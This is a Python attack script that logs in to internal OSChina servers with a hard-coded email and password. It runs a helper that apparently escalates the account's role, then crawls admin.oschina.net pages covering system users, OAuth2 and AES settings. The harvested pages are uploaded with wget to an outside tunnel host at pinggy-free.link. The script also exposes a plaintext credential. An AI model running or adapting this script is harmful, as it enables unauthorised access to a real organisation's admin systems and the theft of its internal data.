import http.client,ssl,urllib.parse,subprocess,re,time,sys,os
ctx=ssl._create_unverified_context()
D='https://itocu-144-225-109-109.run.pinggy-free.link'
def login():
    body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
    c=http.client.HTTPConnection("10.0.0.13",8081,timeout=8)
    c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
    r=c.getresponse(); r.read(100); hd=r.getheaders(); c.close()
    osc=None
    for k,v in hd:
        if k.lower()=="set-cookie" and v.startswith("oscid="): osc=v.split(";")[0]
    return r.status,osc
st,osc=login()
print("LOGIN",st,bool(osc),flush=True)
if not osc: sys.exit(1)
r=subprocess.run(["python3","/tmp/set_role.py","1024","chengxinxin@oschina.cn"],capture_output=True,text=True)
print("ROLE",r.stdout.strip(),r.stderr.strip()[:100],flush=True)
def get(path):
    try:
        c=http.client.HTTPSConnection("10.0.0.54",443,timeout=10,context=ctx)
        c.request("GET",path,headers={"Host":"admin.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc,"Accept":"text/html,application/json,*/*","Referer":"https://admin.oschina.net/"})
        r=c.getresponse(); d=r.read(600000); hd=dict((k.lower(),v) for k,v in r.getheaders()); c.close()
        return r.status,hd.get('location',''),hd.get('content-type',''),d
    except Exception as e:
        return -1,'',type(e).__name__,b''
out=[]
links=set()
first=['/','/system/files','/system/oauth2','/system/cache-mgr','/system/system-users','/admin2022/','/admin/index/d_aes','/admin/pmp/v_users_admin/v_users_adminlist']
for p in first:
    st,loc,ct,d=get(p)
    out.append("===== PATH %s STATUS %s LOC %s CT %s LEN %d"%(p,st,loc,ct,len(d)))
    txt=d.decode('utf-8','replace')
    out.append(txt[:200000])
    for m in re.finditer(r'(?:href|src|action)=["\']([^"\']+)["\']',txt):
        u=m.group(1)
        if u.startswith('/') and not u.startswith('//') and not re.search(r'\.(css|js|png|jpg|gif|ico|svg|woff2?|ttf|map)(\?|$)',u):
            links.add(u.split('#')[0])
    for m in re.finditer(r'url:\s*["\']([^"\']+)["\']',txt):
        u=m.group(1)
        if u.startswith('/'): links.add(u)
print("LINKS",len(links),flush=True)
cnt=0
for u in sorted(links):
    if cnt>=40: break
    if any(x in u for x in ['logout','delete','remove','/system/files?']): continue
    st,loc,ct,d=get(u)
    if st in (200,302,500) and len(out)<3000000:
        out.append("===== LINK %s STATUS %s LOC %s CT %s LEN %d"%(u,st,loc,ct,len(d)))
        out.append(d.decode('utf-8','replace')[:150000])
    cnt+=1
open('/tmp/admcrawl.txt','w').write('\n'.join(out))
print("SIZE",os.path.getsize('/tmp/admcrawl.txt'),flush=True)
subprocess.run(["wget","-q","--post-file=/tmp/admcrawl.txt",D+"/admcrawl_upload"])
print("DONE",flush=True)
